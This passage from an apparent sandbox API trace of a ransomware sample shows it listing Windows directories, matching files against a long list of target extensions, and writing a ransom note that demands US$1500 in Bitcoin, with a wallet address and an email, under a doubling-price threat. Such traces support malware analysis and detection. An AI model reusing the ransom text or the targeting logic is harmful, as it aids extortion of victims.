(lpString="*.pem") returned 5 [0120.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.p12") returned 0 [0120.814] lstrlenA (lpString="*.p12") returned 5 [0120.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.gpg") returned 0 [0120.815] lstrlenA (lpString="*.gpg") returned 5 [0120.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.vsd") returned 0 [0120.815] lstrlenA (lpString="*.vsd") returned 5 [0120.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.odg") returned 0 [0120.815] lstrlenA (lpString="*.odg") returned 5 [0120.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.raw") returned 0 [0120.815] lstrlenA (lpString="*.raw") returned 5 [0120.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.nef") returned 0 [0120.815] lstrlenA (lpString="*.nef") returned 5 [0120.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.svg") returned 0 [0120.815] lstrlenA (lpString="*.svg") returned 5 [0120.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.psd") returned 0 [0120.815] lstrlenA (lpString="*.psd") returned 5 [0120.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.vmx") returned 0 [0120.815] lstrlenA (lpString="*.vmx") returned 5 [0120.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0120.815] lstrlenA (lpString="*.vmdk") returned 6 [0120.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.vdi") returned 0 [0120.815] lstrlenA (lpString="*.vdi") returned 5 [0120.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.lay6") returned 0 [0120.816] lstrlenA (lpString="*.lay6") returned 6 [0120.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0120.816] lstrlenA (lpString="*.mpeg") returned 6 [0120.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.djvu") returned 0 [0120.816] lstrlenA (lpString="*.djvu") returned 6 [0120.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.tiff") returned 0 [0120.816] lstrlenA (lpString="*.tiff") returned 6 [0120.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.backup") returned 0 [0120.816] lstrlenA (lpString="*.backup") returned 8 [0120.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.pdf") returned 0 [0120.816] lstrlenA (lpString="*.pdf") returned 5 [0120.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.cert") returned 0 [0120.816] lstrlenA (lpString="*.cert") returned 6 [0120.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.docm") returned 0 [0120.816] lstrlenA (lpString="*.docm") returned 6 [0120.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0120.816] lstrlenA (lpString="*.xlsm") returned 6 [0120.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.dwg") returned 0 [0120.817] lstrlenA (lpString="*.dwg") returned 5 [0120.817] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.nd") returned 0 [0120.817] lstrlenA (lpString="*.nd") returned 4 [0120.817] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.tlg") returned 0 [0120.817] lstrlenA (lpString="*.tlg") returned 5 [0120.817] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.lgb") returned 0 [0120.817] lstrlenA (lpString="*.lgb") returned 5 [0120.817] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.mov") returned 0 [0120.817] lstrlenA (lpString="*.mov") returned 5 [0120.817] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.xdw") returned 0 [0120.817] lstrlenA (lpString="*.xdw") returned 5 [0120.817] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.ods") returned 0 [0120.817] lstrlenA (lpString="*.ods") returned 5 [0120.817] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.wav") returned 0 [0120.817] lstrlenA (lpString="*.wav") returned 5 [0120.817] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.mp3") returned 0 [0120.817] lstrlenA (lpString="*.mp3") returned 5 [0120.817] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.aiff") returned 0 [0120.817] lstrlenA (lpString="*.aiff") returned 6 [0120.817] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.flac") returned 0 [0120.818] lstrlenA (lpString="*.flac") returned 6 [0120.818] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.m4a") returned 0 [0120.818] lstrlenA (lpString="*.m4a") returned 5 [0120.818] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.csv") returned 0 [0120.818] lstrlenA (lpString="*.csv") returned 5 [0120.818] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6ee0730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6ee0730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6ee0730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Channels.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.818] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.818] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6eba5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6ee0730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6ee0730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f8e75d870778639e773ad046e3b32360", cAlternateFileName="F8E75D~1")) returned 0 [0120.818] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.818] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab114b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab114b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab114b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Serv43e0ae6e#", cAlternateFileName="SY353B~1.SER")) returned 1 [0120.818] lstrcmpA (lpString1=".", lpString2="System.Serv43e0ae6e#") returned -1 [0120.818] lstrcmpA (lpString1="..", lpString2="System.Serv43e0ae6e#") returned -1 [0120.818] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.818] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Serv43e0ae6e#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#" [0120.818] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#") returned 67 [0120.819] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab114b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab114b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab114b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.857] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.857] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab114b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab114b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab114b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.857] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.858] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.858] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab114b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab114b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab114b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="87762d30feb4da1df13946bf2edb2492", cAlternateFileName="87762D~1")) returned 1 [0120.858] lstrcmpA (lpString1=".", lpString2="87762d30feb4da1df13946bf2edb2492") returned -1 [0120.858] lstrcmpA (lpString1="..", lpString2="87762d30feb4da1df13946bf2edb2492") returned -1 [0120.858] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\*.*") returned="*.*" [0120.858] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\", lpString2="87762d30feb4da1df13946bf2edb2492" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492" [0120.858] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492") returned 100 [0120.858] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab114b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab114b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab114b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.878] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.878] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab114b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab114b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab114b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.879] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.879] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.879] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab114b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab114b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab13ac70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x8e400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.Routing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.879] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.879] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Routing.ni.dll") returned -1 [0120.879] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Routing.ni.dll") returned -1 [0120.879] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Routing.ni.dll") returned -1 [0120.879] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\*.*") returned="*.*" [0120.879] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\" [0120.879] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\") returned="" [0120.879] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\HOW TO DECRYPT FILES.txt" [0120.879] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\how to decrypt files.txt")) returned 0xffffffff [0120.879] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.881] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0120.881] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0120.882] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.883] CloseHandle (hObject=0x90) returned 1 [0120.883] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\", lpString2="System.ServiceModel.Routing.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll" [0120.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.ems") returned 0 [0120.883] lstrlenA (lpString="*.ems") returned 5 [0120.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.db") returned 0 [0120.883] lstrlenA (lpString="*.db") returned 4 [0120.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.dbf") returned 0 [0120.883] lstrlenA (lpString="*.dbf") returned 5 [0120.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.myox") returned 0 [0120.883] lstrlenA (lpString="*.myox") returned 6 [0120.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.myo") returned 0 [0120.883] lstrlenA (lpString="*.myo") returned 5 [0120.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.qbw") returned 0 [0120.883] lstrlenA (lpString="*.qbw") returned 5 [0120.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.qbb") returned 0 [0120.883] lstrlenA (lpString="*.qbb") returned 5 [0120.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.qbm") returned 0 [0120.883] lstrlenA (lpString="*.qbm") returned 5 [0120.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.qbo") returned 0 [0120.884] lstrlenA (lpString="*.qbo") returned 5 [0120.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.qbx") returned 0 [0120.884] lstrlenA (lpString="*.qbx") returned 5 [0120.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.qba") returned 0 [0120.884] lstrlenA (lpString="*.qba") returned 5 [0120.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.qby") returned 0 [0120.884] lstrlenA (lpString="*.qby") returned 5 [0120.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.qbj") returned 0 [0120.884] lstrlenA (lpString="*.qbj") returned 5 [0120.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.ofx") returned 0 [0120.884] lstrlenA (lpString="*.ofx") returned 5 [0120.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.qif") returned 0 [0120.884] lstrlenA (lpString="*.qif") returned 5 [0120.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.mye") returned 0 [0120.884] lstrlenA (lpString="*.mye") returned 5 [0120.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.mbox") returned 0 [0120.884] lstrlenA (lpString="*.mbox") returned 6 [0120.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.eml") returned 0 [0120.884] lstrlenA (lpString="*.eml") returned 5 [0120.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.pst") returned 0 [0120.884] lstrlenA (lpString="*.pst") returned 5 [0120.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.ost") returned 0 [0120.885] lstrlenA (lpString="*.ost") returned 5 [0120.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.idx") returned 0 [0120.885] lstrlenA (lpString="*.idx") returned 5 [0120.885] PathMatchSpecA 